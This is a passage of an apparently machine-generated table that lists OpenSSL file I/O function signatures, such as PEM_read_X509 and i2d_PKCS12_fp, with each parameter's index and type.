| | PEM_read_PUBKEY | 0 | FILE * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 2 | pem_password_cb * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PUBKEY | 3 | void * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 0 | FILE * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 2 | pem_password_cb * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | PEM_read_PrivateKey | 3 | void * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 0 | FILE * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 2 | pem_password_cb * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *) | | d2i_PKCS8PrivateKey_fp | 3 | void * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 0 | FILE * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 2 | pem_password_cb * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 3 | void * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 4 | OSSL_LIB_CTX * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PUBKEY_ex | 5 | const char * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 0 | FILE * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 1 | EVP_PKEY ** | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 2 | pem_password_cb * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 3 | void * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 4 | OSSL_LIB_CTX * | +| (FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_read_PrivateKey_ex | 5 | const char * | +| (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 0 | FILE * | +| (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 1 | NETSCAPE_CERT_SEQUENCE ** | +| (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 2 | pem_password_cb * | +| (FILE *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *) | | PEM_read_NETSCAPE_CERT_SEQUENCE | 3 | void * | +| (FILE *,PKCS7 **) | | d2i_PKCS7_fp | 0 | FILE * | +| (FILE *,PKCS7 **) | | d2i_PKCS7_fp | 1 | PKCS7 ** | +| (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 0 | FILE * | +| (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 1 | PKCS7 ** | +| (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 2 | pem_password_cb * | +| (FILE *,PKCS7 **,pem_password_cb *,void *) | | PEM_read_PKCS7 | 3 | void * | +| (FILE *,PKCS8_PRIV_KEY_INFO **) | | d2i_PKCS8_PRIV_KEY_INFO_fp | 0 | FILE * | +| (FILE *,PKCS8_PRIV_KEY_INFO **) | | d2i_PKCS8_PRIV_KEY_INFO_fp | 1 | PKCS8_PRIV_KEY_INFO ** | +| (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 0 | FILE * | +| (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 1 | PKCS8_PRIV_KEY_INFO ** | +| (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 2 | pem_password_cb * | +| (FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *) | | PEM_read_PKCS8_PRIV_KEY_INFO | 3 | void * | +| (FILE *,PKCS12 **) | | d2i_PKCS12_fp | 0 | FILE * | +| (FILE *,PKCS12 **) | | d2i_PKCS12_fp | 1 | PKCS12 ** | +| (FILE *,RSA **) | | d2i_RSAPrivateKey_fp | 0 | FILE * | +| (FILE *,RSA **) | | d2i_RSAPrivateKey_fp | 1 | RSA ** | +| (FILE *,RSA **) | | d2i_RSAPublicKey_fp | 0 | FILE * | +| (FILE *,RSA **) | | d2i_RSAPublicKey_fp | 1 | RSA ** | +| (FILE *,RSA **) | | d2i_RSA_PUBKEY_fp | 0 | FILE * | +| (FILE *,RSA **) | | d2i_RSA_PUBKEY_fp | 1 | RSA ** | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 0 | FILE * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 1 | RSA ** | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 2 | pem_password_cb * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPrivateKey | 3 | void * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 0 | FILE * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 1 | RSA ** | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 2 | pem_password_cb * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSAPublicKey | 3 | void * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 0 | FILE * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 1 | RSA ** | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 2 | pem_password_cb * | +| (FILE *,RSA **,pem_password_cb *,void *) | | PEM_read_RSA_PUBKEY | 3 | void * | +| (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 0 | FILE * | +| (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 1 | SSL_SESSION ** | +| (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 2 | pem_password_cb * | +| (FILE *,SSL_SESSION **,pem_password_cb *,void *) | | PEM_read_SSL_SESSION | 3 | void * | +| (FILE *,TS_MSG_IMPRINT **) | | d2i_TS_MSG_IMPRINT_fp | 0 | FILE * | +| (FILE *,TS_MSG_IMPRINT **) | | d2i_TS_MSG_IMPRINT_fp | 1 | TS_MSG_IMPRINT ** | +| (FILE *,TS_REQ **) | | d2i_TS_REQ_fp | 0 | FILE * | +| (FILE *,TS_REQ **) | | d2i_TS_REQ_fp | 1 | TS_REQ ** | +| (FILE *,TS_RESP **) | | d2i_TS_RESP_fp | 0 | FILE * | +| (FILE *,TS_RESP **) | | d2i_TS_RESP_fp | 1 | TS_RESP ** | +| (FILE *,TS_TST_INFO **) | | d2i_TS_TST_INFO_fp | 0 | FILE * | +| (FILE *,TS_TST_INFO **) | | d2i_TS_TST_INFO_fp | 1 | TS_TST_INFO ** | +| (FILE *,X509 **) | | d2i_X509_fp | 0 | FILE * | +| (FILE *,X509 **) | | d2i_X509_fp | 1 | X509 ** | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 0 | FILE * | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 1 | X509 ** | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 2 | pem_password_cb * | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509 | 3 | void * | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 0 | FILE * | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 1 | X509 ** | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 2 | pem_password_cb * | +| (FILE *,X509 **,pem_password_cb *,void *) | | PEM_read_X509_AUX | 3 | void * | +| (FILE *,X509_ACERT **) | | d2i_X509_ACERT_fp | 0 | FILE * | +| (FILE *,X509_ACERT **) | | d2i_X509_ACERT_fp | 1 | X509_ACERT ** | +| (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 0 | FILE * | +| (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 1 | X509_ACERT ** | +| (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 2 | pem_password_cb * | +| (FILE *,X509_ACERT **,pem_password_cb *,void *) | | PEM_read_X509_ACERT | 3 | void * | +| (FILE *,X509_CRL **) | | d2i_X509_CRL_fp | 0 | FILE * | +| (FILE *,X509_CRL **) | | d2i_X509_CRL_fp | 1 | X509_CRL ** | +| (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 0 | FILE * | +| (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 1 | X509_CRL ** | +| (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 2 | pem_password_cb * | +| (FILE *,X509_CRL **,pem_password_cb *,void *) | | PEM_read_X509_CRL | 3 | void * | +| (FILE *,X509_PUBKEY **) | | d2i_X509_PUBKEY_fp | 0 | FILE * | +| (FILE *,X509_PUBKEY **) | | d2i_X509_PUBKEY_fp | 1 | X509_PUBKEY ** | +| (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 0 | FILE * | +| (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 1 | X509_PUBKEY ** | +| (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 2 | pem_password_cb * | +| (FILE *,X509_PUBKEY **,pem_password_cb *,void *) | | PEM_read_X509_PUBKEY | 3 | void * | +| (FILE *,X509_REQ **) | | d2i_X509_REQ_fp | 0 | FILE * | +| (FILE *,X509_REQ **) | | d2i_X509_REQ_fp | 1 | X509_REQ ** | +| (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 0 | FILE * | +| (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 1 | X509_REQ ** | +| (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 2 | pem_password_cb * | +| (FILE *,X509_REQ **,pem_password_cb *,void *) | | PEM_read_X509_REQ | 3 | void * | +| (FILE *,X509_SIG **) | | d2i_PKCS8_fp | 0 | FILE * | +| (FILE *,X509_SIG **) | | d2i_PKCS8_fp | 1 | X509_SIG ** | +| (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 0 | FILE * | +| (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 1 | X509_SIG ** | +| (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 2 | pem_password_cb * | +| (FILE *,X509_SIG **,pem_password_cb *,void *) | | PEM_read_PKCS8 | 3 | void * | +| (FILE *,char **,char **,unsigned char **,long *) | | PEM_read | 0 | FILE * | +| (FILE *,char **,char **,unsigned char **,long *) | | PEM_read | 1 | char ** | +| (FILE *,char **,char **,unsigned char **,long *) | | PEM_read | 2 | char ** | +| (FILE *,char **,char **,unsigned char **,long *) | | PEM_read | 3 | unsigned char ** | +| (FILE *,char **,char **,unsigned char **,long *) | | PEM_read | 4 | long * | +| (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 0 | FILE * | +| (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 1 | const ASN1_STRING * | +| (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | unsigned long | +| (FILE *,const CMS_ContentInfo *) | | PEM_write_CMS | 0 | FILE * | +| (FILE *,const CMS_ContentInfo *) | | PEM_write_CMS | 1 | const CMS_ContentInfo * | +| (FILE *,const DH *) | | PEM_write_DHparams | 0 | FILE * | +| (FILE *,const DH *) | | PEM_write_DHparams | 1 | const DH * | +| (FILE *,const DH *) | | PEM_write_DHxparams | 0 | FILE * | +| (FILE *,const DH *) | | PEM_write_DHxparams | 1 | const DH * | +| (FILE *,const DSA *) | | DSAparams_print_fp | 0 | FILE * | +| (FILE *,const DSA *) | | DSAparams_print_fp | 1 | const DSA * | +| (FILE *,const DSA *) | | PEM_write_DSA_PUBKEY | 0 | FILE * | +| (FILE *,const DSA *) | | PEM_write_DSA_PUBKEY | 1 | const DSA * | +| (FILE *,const DSA *) | | PEM_write_DSAparams | 0 | FILE * | +| (FILE *,const DSA *) | | PEM_write_DSAparams | 1 | const DSA * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 0 | FILE * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 1 | const DSA * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 2 | const EVP_CIPHER * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 3 | const unsigned char * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 4 | int | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 5 | pem_password_cb * | +| (FILE *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_DSAPrivateKey | 6 | void * | +| (FILE *,const DSA *,int) | | DSA_print_fp | 0 | FILE * | +| (FILE *,const DSA *,int) | | DSA_print_fp | 1 | const DSA * | +| (FILE *,const DSA *,int) | | DSA_print_fp | 2 | int | +| (FILE *,const EC_GROUP *) | | PEM_write_ECPKParameters | 0 | FILE * | +| (FILE *,const EC_GROUP *) | | PEM_write_ECPKParameters | 1 | const EC_GROUP * | +| (FILE *,const EC_KEY *) | | PEM_write_EC_PUBKEY | 0 | FILE * | +| (FILE *,const EC_KEY *) | | PEM_write_EC_PUBKEY | 1 | const EC_KEY * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 0 | FILE * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 1 | const EC_KEY * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 2 | const EVP_CIPHER * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 3 | const unsigned char * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 4 | int | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 5 | pem_password_cb * | +| (FILE *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_ECPrivateKey | 6 | void * | +| (FILE *,const EVP_PKEY *) | | PEM_write_PUBKEY | 0 | FILE * | +| (FILE *,const EVP_PKEY *) | | PEM_write_PUBKEY | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_PUBKEY_ex | 0 | FILE * | +| (FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_PUBKEY_ex | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_PUBKEY_ex | 2 | OSSL_LIB_CTX * | +| (FILE *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_PUBKEY_ex | 3 | const char * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 0 | FILE * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 2 | const EVP_CIPHER * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 3 | const char * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 4 | int | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey | 6 | void * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 0 | FILE * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 2 | const EVP_CIPHER * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 3 | const char * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 4 | int | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_fp | 6 | void * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 0 | FILE * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 2 | const EVP_CIPHER * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 3 | const unsigned char * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 4 | int | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_PrivateKey | 6 | void * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 0 | FILE * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 2 | const EVP_CIPHER * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 3 | const unsigned char * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 4 | int | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 6 | void * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 7 | OSSL_LIB_CTX * | +| (FILE *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_PrivateKey_ex | 8 | const char * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 0 | FILE * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 2 | int | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 3 | const char * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 4 | int | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_PKCS8PrivateKey_nid | 6 | void * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 0 | FILE * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 1 | const EVP_PKEY * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 2 | int | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 3 | const char * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 4 | int | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 5 | pem_password_cb * | +| (FILE *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_fp | 6 | void * | +| (FILE *,const NETSCAPE_CERT_SEQUENCE *) | | PEM_write_NETSCAPE_CERT_SEQUENCE | 0 | FILE * | +| (FILE *,const NETSCAPE_CERT_SEQUENCE *) | | PEM_write_NETSCAPE_CERT_SEQUENCE | 1 | const NETSCAPE_CERT_SEQUENCE * | +| (FILE *,const PKCS7 *) | | PEM_write_PKCS7 | 0 | FILE * | +| (FILE *,const PKCS7 *) | | PEM_write_PKCS7 | 1 | const PKCS7 * | +| (FILE *,const PKCS7 *) | | i2d_PKCS7_fp | 0 | FILE * | +| (FILE *,const PKCS7 *) | | i2d_PKCS7_fp | 1 | const PKCS7 * | +| (FILE *,const PKCS8_PRIV_KEY_INFO *) | | PEM_write_PKCS8_PRIV_KEY_INFO | 0 | FILE * | +| (FILE *,const PKCS8_PRIV_KEY_INFO *) | | PEM_write_PKCS8_PRIV_KEY_INFO | 1 | const PKCS8_PRIV_KEY_INFO * | +| (FILE *,const PKCS12 *) | | i2d_PKCS12_fp | 0 | FILE * | +| (FILE *,const PKCS12 *) | | i2d_PKCS12_fp | 1 | const PKCS12 * | +| (FILE *,const RSA *) | | PEM_write_RSAPublicKey | 0 | FILE * | +| (FILE *,const RSA *) | | PEM_write_RSAPublicKey | 1 | const RSA * | +| (FILE *,const RSA *) | | PEM_write_RSA_PUBKEY | 0 | FILE * | +| (FILE *,const RSA *) | | PEM_write_RSA_PUBKEY | 1 | const RSA * | +| (FILE *,const RSA *) | | i2d_RSAPrivateKey_fp | 0 | FILE * | +| (FILE *,const RSA *) | | i2d_RSAPrivateKey_fp | 1 | const RSA * | +| (FILE *,const RSA *) | | i2d_RSAPublicKey_fp | 0 | FILE * | +| (FILE *,const RSA *) | | i2d_RSAPublicKey_fp | 1 | const RSA * | +| (FILE *,const RSA *) | | i2d_RSA_PUBKEY_fp | 0 | FILE * | +| (FILE *,const RSA *) | | i2d_RSA_PUBKEY_fp | 1 | const RSA * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 0 | FILE * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 1 | const RSA * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 2 | const EVP_CIPHER * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 3 | const unsigned char * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 4 | int | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 5 | pem_password_cb * | +| (FILE *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_RSAPrivateKey | 6 | void * | +| (FILE *,const RSA *,int) | | RSA_print_fp | 0 | FILE * | +| (FILE *,const RSA *,int) | | RSA_print_fp | 1 | const RSA * | +| (FILE *,const RSA *,int) | | RSA_print_fp | 2 | int | +| (FILE *,const SSL_SESSION *) | | PEM_write_SSL_SESSION | 0 | FILE * | +| (FILE *,const SSL_SESSION *) | | PEM_write_SSL_SESSION | 1 | const SSL_SESSION * | +| (FILE *,const X509 *) | | PEM_write_X509 | 0 | FILE * | +| (FILE *,const X509 *) | | PEM_write_X509 | 1 | const X509 * | +| (FILE *,const X509 *) | | PEM_write_X509_AUX | 0 | FILE * | +| (FILE *,const X509 *) | | PEM_write_X509_AUX | 1 | const X509 * | +| (FILE *,const X509 *) | | i2d_X509_fp | 0 | FILE * | +| (FILE *,const X509 *) | | i2d_X509_fp | 1 | const X509 * | +| (FILE *,const X509_ACERT *) | | PEM_write_X509_ACERT | 0 | FILE * | +| (FILE *,const X509_ACERT *) | | PEM_write_X509_ACERT | 1 | const X509_ACERT * | +| (FILE *,const X509_ACERT *) | | i2d_X509_ACERT_fp | 0 | FILE * | +| (FILE *,const X509_ACERT *) | | i2d_X509_ACERT_fp | 1 | const X509_ACERT * | +| (FILE *,const X509_CRL *) | | PEM_write_X509_CRL | 0 | FILE * | +| (FILE *,const X509_CRL *) | | PEM_write_X509_CRL | 1 | const X509_CRL * | +| (FILE *,const X509_CRL *) | | i2d_X509_CRL_fp | 0 | FILE * | +| (FILE *,const X509_CRL *) | | i2d_X509_CRL_fp | 1 | const X509_CRL * | +| (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 0 | FILE * | +| (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 1 | const X509_NAME * | +| (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 2 | int | +| (FILE *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex_fp | 3 | unsigned long | +| (FILE *,const X509_PUBKEY *) | | PEM_write_X509_PUBKEY | 0 | FILE * | +| 